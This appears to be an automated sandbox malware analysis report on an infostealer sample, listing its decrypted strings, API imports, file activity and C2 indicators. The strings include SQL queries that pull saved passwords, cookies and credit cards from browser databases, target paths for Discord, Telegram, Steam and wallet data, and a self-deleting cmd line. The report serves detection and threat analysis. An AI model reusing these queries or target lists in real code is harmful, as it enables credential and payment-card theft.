Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: MultiByteToWideChar
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GlobalFree
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: WideCharToMultiByte
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GlobalAlloc
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: OpenProcess
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: TerminateProcess
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetCurrentProcessId
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: gdiplus.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ole32.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: bcrypt.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: wininet.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: shlwapi.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: shell32.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: psapi.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: rstrtmgr.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CreateCompatibleBitmap
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SelectObject
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: BitBlt
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: DeleteObject
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CreateCompatibleDC
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdipGetImageEncodersSize
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdipGetImageEncoders
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdiplusStartup
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdiplusShutdown
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdipSaveImageToStream
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdipDisposeImage
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GdipFree
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetHGlobalFromStream
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CreateStreamOnHGlobal
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CoUninitialize
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CoInitialize
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CoCreateInstance
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: BCryptDecrypt
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: BCryptSetProperty
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: BCryptDestroyKey
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetWindowRect
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetDesktopWindow
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetDC
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CloseWindow
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: wsprintfA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: EnumDisplayDevicesA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetKeyboardLayoutList
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CharToOemW
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: wsprintfW
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RegQueryValueExA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RegEnumKeyExA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RegOpenKeyExA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RegCloseKey
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RegEnumValueA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CryptBinaryToStringA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CryptUnprotectData
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SHGetFolderPathA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ShellExecuteExA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: InternetOpenUrlA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: InternetConnectA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: InternetCloseHandle
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: InternetOpenA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: HttpSendRequestA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: HttpOpenRequestA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: InternetReadFile
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: InternetCrackUrlA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: StrCmpCA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: StrStrA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: StrCmpCW
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: PathMatchSpecA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: GetModuleFileNameExA
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RmStartSession
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RmRegisterResources
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RmGetList
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: RmEndSession
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_open
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_prepare_v2
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_step
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_column_text
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_finalize
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_close
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_column_bytes
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3_column_blob
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: encrypted_key
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: PATH
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: NSS_Init
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: NSS_Shutdown
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: PK11_FreeSlot
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: PK11_Authenticate
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: PK11SDR_Decrypt
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: C:\ProgramData\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Soft:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: profile:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Host:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Login:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Password:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Opera
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: OperaGX
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Network
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Cookies
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: .txt
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: TRUE
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: FALSE
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Autofill
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SELECT name, value FROM autofill
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: History
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Name:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Month:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Year:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Card:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Cookies
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Login Data
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Web Data
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: History
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: logins.json
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: formSubmitURL
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: usernameField
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: encryptedUsername
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: encryptedPassword
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: guid
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: cookies.sqlite
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: formhistory.sqlite
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: places.sqlite
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Plugins
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Local Extension Settings
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Sync Extension Settings
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: IndexedDB
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Opera Stable
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Opera GX Stable
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: CURRENT
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: chrome-extension_
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: _0.indexeddb.leveldb
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Local State
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: profiles.ini
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: chrome
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: opera
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: firefox
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Wallets
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %08lX%04lX%lu
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ProductName
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ProcessorNameString
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: DisplayName
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: DisplayVersion
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: freebl3.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: mozglue.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: msvcp140.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: nss3.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: softokn3.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: vcruntime140.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \Temp\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: .exe
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: runas
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: open
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: /c start
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %DESKTOP%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %APPDATA%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %LOCALAPPDATA%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %USERPROFILE%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %DOCUMENTS%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %PROGRAMFILES%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %PROGRAMFILES_86%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: %RECENT%
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: *.lnk
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Files
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \discord\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \Local Storage\leveldb
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \Telegram Desktop\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: key_datas
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: D877F783D5D3EF8C*
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: map*
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: A7FDF864FBC10B77*
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: F8806DD0C461824F*
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Telegram
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: *.tox
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: *.ini
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Password
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: 00000001
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: 00000002
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: 00000003
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: 00000004
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \Outlook\accounts.txt
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Pidgin
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \.purple\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: accounts.xml
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: dQw4w9WgXcQ
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: token:
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Software\Valve\Steam
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: SteamPath
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \config\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ssfn*
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: config.vdf
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: DialogConfig.vdf
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: libraryfolders.vdf
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: loginusers.vdf
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \Steam\
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: sqlite3.dll
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: browsers
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: done
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Soft
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: \Discord\tokens.txt
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: https
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: POST
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: HTTP/1.1
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: hwid
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: build
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: token
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: file_name
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: file
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: message
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 11.2.Hist.pif.4d20000.5.unpack	String decryptor: screenshot.jpg

Source: mg9LPWGtPB.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:64934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.241.221:443 -> 192.168.2.5:64935 version: TLS 1.2

Source: mg9LPWGtPB.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: Hist.pif, 0000000B.00000002.3103223842.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source:	Binary string: freebl3.pdb source: Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source:	Binary string: freebl3.pdbp source: Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source:	Binary string: nss3.pdb@ source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.11.dr
Source:	Binary string: softokn3.pdb@ source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: Hist.pif, 0000000B.00000002.3094585967.000000002B5DB000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: Hist.pif, 0000000B.00000002.3088383487.000000001F6FA000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.11.dr
Source:	Binary string: nss3.pdb source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.11.dr
Source:	Binary string: mozglue.pdb source: Hist.pif, 0000000B.00000002.3103223842.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: Hist.pif, 0000000B.00000002.3078787220.000000000CCAF000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3078228591.000000000C878000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000847B7 GetFileAttributesW,FindFirstFileW,FindClose,	11_2_000847B7
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00083E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00083E72
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0008C16C
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008CB81 FindFirstFileW,FindClose,	11_2_0008CB81
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_0008CC0C
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0008F445
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0008F5A2
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0008F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_0008F8A3
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00083B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00083B4F
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_004062D5 FindFirstFileW,FindClose,	16_2_004062D5
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_00402E18 FindFirstFileW,	16_2_00402E18
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	16_2_00406C9B
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A47B7 GetFileAttributesW,FindFirstFileW,FindClose,	38_2_003A47B7
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AC16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	38_2_003AC16C
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003ACB81 FindFirstFileW,FindClose,	38_2_003ACB81
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003ACC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	38_2_003ACC0C
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AF445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	38_2_003AF445
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AF5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	38_2_003AF5A2
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003AF8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	38_2_003AF8A3
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A3B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	38_2_003A3B4F
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A3E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	38_2_003A3E72

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199735694209

Source: global traffic

TCP traffic: 192.168.2.5:64962 -> 91.92.246.78:2404

Source: global traffic

